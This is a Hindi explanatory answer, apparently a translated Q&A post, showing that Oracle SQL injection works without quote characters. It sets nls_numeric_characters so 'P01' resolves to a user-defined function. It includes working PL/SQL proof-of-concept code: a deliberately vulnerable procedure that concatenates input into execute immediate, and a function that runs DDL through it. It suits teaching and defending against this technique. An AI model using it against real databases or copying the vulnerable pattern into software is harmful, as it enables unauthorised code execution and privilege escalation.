हां, पैरामीटर में उद्धरणों की आपूर्ति के बिना एक SQL इंजेक्शन हमला करना संभव है।
ऐसा करने का तरीका यह है कि संख्या और / या तारीखों को कैसे संसाधित किया जाता है। आप सत्र स्तर पर निर्दिष्ट कर सकते हैं कि किसी दिनांक या संख्या का प्रारूप क्या है। इस में फेरबदल करके आप किसी भी वर्ण के साथ इंजेक्शन लगा सकते हैं।
यूके और यूएस में डिफ़ॉल्ट रूप से, संख्याओं में हजारों विभाजक को इंगित करने के लिए एक कॉमा का उपयोग किया जाता है, और दशमलव बिंदु के लिए पूर्ण विराम। आप इन डिफ़ॉल्ट को निष्पादित करके बदल सकते हैं:
alter session set nls_numeric_characters = 'PZ';
इसका मतलब है कि "P" अब दशमलव बिंदु है और "Z" हजारों विभाजक है। इसलिए:
0P01
0.01 नंबर है। हालाँकि, यदि आप एक फ़ंक्शन P01 बनाते हैं, तो ऑब्जेक्ट संदर्भ नंबर रूपांतरण से पहले उठाया जाएगा। यह आपको डेटाबेस पर कार्य करने की अनुमति देता है, जो आपको बढ़ती हुई शक्तियाँ प्रदान करता है:
एक बुनियादी "आईडी द्वारा प्राप्त करें" फ़ंक्शन बनाएं:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
एक फ़ंक्शन P01 भी बनाएं जो कुछ अवांछनीय करता है (इस मामले में सिर्फ एक तालिका बना रहा है, लेकिन आपको यह विचार मिलता है):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
और हम जाने के लिए अच्छा कर रहे हैं:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
कहीं भी कोई उद्धरण नहीं है, लेकिन हम अभी भी "छिपे हुए" फ़ंक्शन P01 को निष्पादित करने और तालिका बनाने में कामयाब रहे हैं t
!
हालांकि यह व्यवहार में करना मुश्किल हो सकता है (और कुछ आंतरिक ज्ञान / सहायता की आवश्यकता हो सकती है), इससे पता चलता है कि आप उद्धरण चिह्नों के बिना SQL को इंजेक्ट कर सकते हैं। अलर्ट nls_date_format
करने से समान चीजों को करने की अनुमति मिल सकती है।
संख्याओं के लिए मूल निष्कर्ष डेविड लिचफील्ड द्वारा किए गए थे और आप यहां उनका पेपर पढ़ सकते हैं । आप टॉम काइट की चर्चा पा सकते हैं कि कैसे तारीखों का यहाँ शोषण किया जा सकता है ।